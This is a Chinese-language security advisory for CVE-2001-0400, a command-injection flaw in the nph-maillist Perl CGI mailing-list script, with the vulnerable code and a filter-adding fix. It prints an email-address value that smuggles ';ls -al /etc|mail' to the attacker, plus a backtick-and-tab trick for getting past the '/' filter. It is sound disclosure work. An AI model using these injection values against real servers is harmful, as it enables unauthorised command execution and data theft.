Matt Tourtillott nph-maillist远程执行任意命令漏洞
发布日期:2001-04-10
更新日期:2001-04-10
受影响系统:Matt Tourtillott nph-maillist 3.5
Matt Tourtillott nph-maillist 3.0
描述:
BUGTRAQ ID:
2563
CVE(CAN) ID:
CVE-2001-0400
nph-maillist是一个用来处理邮件列表的Perl CGI脚本,通常用来通知对网站更新感兴趣的用户。
nph-maillist实现上存在输入验证漏洞,远程攻击者可以利用此漏洞在主机上以Web服务进程的权限执行任意命令。
脚本对用户提交的输入数据没有充分过滤,远程攻击者可以通过订阅表单在邮件地址中嵌入命令,这样当给该地址发送邮件时就会执行其中的命令。
该脚本由两部分组成,其中mailengine.pl负责在后台给列表中的用户发送邮件,有问题的代码如下:
$mailprog="/usr/sbin/sendmail";
$mailfile = "mail.txt";
open (BSS, $mailfile) || die "Cannot open $mailfile";
@mailf = <BSS>;
close (BSS);
foreach $SIZE (@mailf) {
$SIZE =~ s/\n//g;
open (MAIL, "|$mailprog $SIZE") || die "Cannot open $mailprog";
其中$mailfile是存放邮件地址的文件。如果攻击者提交如下格式的邮件地址:
urabura@matura.pl ;ls -al /etc|mail
root@bigbrother.pl
当上述邮件地址提交给mailengine.pl时就会执行“;”后的命令。
脚本nph-maillist.pl负责处理从Web界面上接收用户提交的Email地址,有问题的代码如下:
if ($FORM{'emailaddress'} !~ /\@/) { &bad_email();}
if ($FORM{'emailaddress'} !~ /\./) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\ /) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\)/) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\(/) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\:/) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\//) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\\/) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\http:/) { &bad_email();}
其中emailaddress就是Web用户提交的邮件地址。上述代码过滤了'/'字符和空格字符,但没有过滤特殊字符'\t'和'`'。只需要将'/'字符用`head\t-n1\tnph-maillist.pl|cut\t-c3`来代替,就可以输入类似“
urabura@matura.pl ;ls -al /etc|mail
root@bigbrother.pl”这样的邮件地址。
<*来源:Kanedaaa Bohater (
kaneda@ac.pl)
链接:
http://cert.uni-stuttgart.de/archive/bugtraq/2001/04/msg00185.html
*>
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 编辑修改nph-maillist.pl脚本,加入几行过滤代码
if ($FORM{'emailaddress'} =~ /\;/) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\`/) { &bad_email();}
厂商补丁:
Matt Tourtillott
----------------
作者已经在最新版本的软件中修补了此安全漏洞,请到作者的主页下载:
http://www.marketrends.net/maillist/浏览次数:3776
严重程度:0(网友投票)